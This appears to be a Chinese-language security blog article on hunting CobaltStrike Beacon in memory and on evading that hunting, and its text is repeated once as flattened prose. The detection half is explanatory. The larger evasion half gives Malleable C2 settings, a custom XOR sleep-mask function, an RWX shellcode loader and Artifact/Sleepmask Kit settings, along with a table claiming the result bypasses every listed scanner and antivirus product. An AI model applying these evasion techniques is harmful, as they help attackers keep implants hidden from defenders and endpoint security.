CobaltStrike的狩猎与反狩猎
字数 1408 2025-08-24 23:51:09

CobaltStrike的狩猎与反狩猎技术详解

0x01 前言

本文全面分析CobaltStrike Beacon在内存中的检测方法及相应的规避技术,涵盖Yara规则检测、内存特征扫描等多种狩猎手段及其对抗方案。

0x02 狩猎技术

0x021 BeaconEye/EvilEye

检测原理

  • 扫描CobaltStrike内存特征
  • 解析Beacon Config获取信息

工具特点

  • BeaconEye基于.NET Framework 4.8
  • EvilEye是Golang版本,兼容低版本系统(如Windows Server 2008)

0x022 Hunt-Sleeping-Beacons

功能

  • 识别休眠状态的Beacon
  • 检测异常进程

限制

  • 实际测试中无法检测x86进程

0x023 Yara规则检测

常用规则集

  1. Elastic安全公司开源规则
  2. Google GCTI开源规则

检测示例

yara -s rules.yar beacon.exe

0x024 Hollows_Hunter

功能

  • 扫描运行中进程
  • 检测恶意植入物:
    • 替换/植入的PE文件
    • Shellcode
    • 内存补丁
    • Hook

0x03 反狩猎技术

0x031 Yara规则绕过

0x0311 字符串处理

步骤

  1. 分析默认profile中的特征字符串
  2. 使用strrep替换特征字符串:
transform-x64 {
    strrep "beacon.x64.dll" "";
}

注意事项

  • 不应全部替换,可能影响程序功能
  • 格式化字符串需谨慎处理

0x0312 MZ头/PE头处理

配置方法

set magic_mz_x86 "KC@H";  # ASM = dec ebx, inc ebx, inc eax, dec eax
set magic_mz_x64 "A[AS";  # ASM = pop r11, push r11
set magic_pe "AR";       # 随机两个字节

局限性

  • 只能修改少量字节
  • 健壮的Yara规则仍可能触发

0x0313 清理反射加载器

配置

set cleanup "true";

效果

  • 清除原始Beacon DLL
  • 仅保留虚拟Beacon DLL

0x0314 配置混淆

配置

set obfuscate "true";

功能

  • 去除DLL头部
  • 混淆.text段、段名、导入表等
  • 移除大部分字符串

0x0315 Sleep_Mask

基础配置

set userwx "false";      # 内存设置为RX而非RWX
set sleep_mask "true";   # 启用睡眠掩码

自定义加密算法

/* My a beacon section */
void my_mask_section(SLEEPMASKP* parms, DWORD a, DWORD b) {
    char key[] = "cf81d743beef8422";
    size_t key_lenght = sizeof(key) - 1;
    while (a < b) {
        *(parms->beacon_ptr + a) ^= key[a % key_lenght];
        a++;
    }
}

0x0316 加载器特征去除

方案一:Shellcode Loader

// 示例代码
void* exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, fileSize);

// 加密buffer
string key = "cf81d743beef8422";
for(int i = 0; i < fileSize; i++) {
    buffer[i] = buffer[i] ^ key[i % key.length()];
}

((void(*)())exec)();

方案二:源码修改

  1. 修改管道生成特征(bypass-pipe.c)
  2. 使用Artifact Kit套件生成定制化Beacon

0x032 套件配置

Artifact Kit配置

artifactkit_technique="pipe"
artifactkit_allocator="HeapAlloc"
artifactkit_stage_size=310272
artifactkit_include_resource="false"
artifactkit_stack_spoof="false"
artifactkit_syscalls_method="indirect"

Sleepmask Kit配置

sleepmask_version="49"
sleepmask_sleep_method="WaitForSingleObject"
sleepmask_mask_text_section="true"
sleepmask_syscalls_method="indirect"

0x04 效果测试

检测项 绕过效果
Yara静态检测 通过
Yara内存检测 通过
BeaconEye/EvilEye 通过
Hunt-Sleeping-Beacons 通过
Hollows_Hunter 通过
卡巴内存扫描 通过
火绒 通过

0x05 进阶建议

  1. 配合unhook技术
  2. 使用堆栈欺骗
  3. 定期更新特征规则
  4. 自定义Malleable-C2配置
  5. 注意x86特有特征处理

附录:常见问题

  1. Sleep Mask默认方法检测:当sleep为0时可能被检测,设置适当sleep时间可避免
  2. x86特有特征:需额外处理特定字节序列
  3. Artifact Kit套件检测:自定义规则可能仍会检测标准套件,需进一步定制

通过综合应用上述技术,可有效提升CobaltStrike在红队行动中的隐蔽性和存活能力。

CobaltStrike的狩猎与反狩猎技术详解 0x01 前言 本文全面分析CobaltStrike Beacon在内存中的检测方法及相应的规避技术,涵盖Yara规则检测、内存特征扫描等多种狩猎手段及其对抗方案。 0x02 狩猎技术 0x021 BeaconEye/EvilEye 检测原理 : 扫描CobaltStrike内存特征 解析Beacon Config获取信息 工具特点 : BeaconEye基于.NET Framework 4.8 EvilEye是Golang版本,兼容低版本系统(如Windows Server 2008) 0x022 Hunt-Sleeping-Beacons 功能 : 识别休眠状态的Beacon 检测异常进程 限制 : 实际测试中无法检测x86进程 0x023 Yara规则检测 常用规则集 : Elastic安全公司开源规则 Google GCTI开源规则 检测示例 : 0x024 Hollows_ Hunter 功能 : 扫描运行中进程 检测恶意植入物: 替换/植入的PE文件 Shellcode 内存补丁 Hook 0x03 反狩猎技术 0x031 Yara规则绕过 0x0311 字符串处理 步骤 : 分析默认profile中的特征字符串 使用strrep替换特征字符串: 注意事项 : 不应全部替换,可能影响程序功能 格式化字符串需谨慎处理 0x0312 MZ头/PE头处理 配置方法 : 局限性 : 只能修改少量字节 健壮的Yara规则仍可能触发 0x0313 清理反射加载器 配置 : 效果 : 清除原始Beacon DLL 仅保留虚拟Beacon DLL 0x0314 配置混淆 配置 : 功能 : 去除DLL头部 混淆.text段、段名、导入表等 移除大部分字符串 0x0315 Sleep_ Mask 基础配置 : 自定义加密算法 : 0x0316 加载器特征去除 方案一:Shellcode Loader 方案二:源码修改 修改管道生成特征(bypass-pipe.c) 使用Artifact Kit套件生成定制化Beacon 0x032 套件配置 Artifact Kit配置 : Sleepmask Kit配置 : 0x04 效果测试 检测项 | 绕过效果 ---------------------|------------- Yara静态检测 | 通过 Yara内存检测 | 通过 BeaconEye/EvilEye | 通过 Hunt-Sleeping-Beacons| 通过 Hollows_ Hunter | 通过 卡巴内存扫描 | 通过 火绒 | 通过 0x05 进阶建议 配合unhook技术 使用堆栈欺骗 定期更新特征规则 自定义Malleable-C2配置 注意x86特有特征处理 附录:常见问题 Sleep Mask默认方法检测 :当sleep为0时可能被检测,设置适当sleep时间可避免 x86特有特征 :需额外处理特定字节序列 Artifact Kit套件检测 :自定义规则可能仍会检测标准套件,需进一步定制 通过综合应用上述技术,可有效提升CobaltStrike在红队行动中的隐蔽性和存活能力。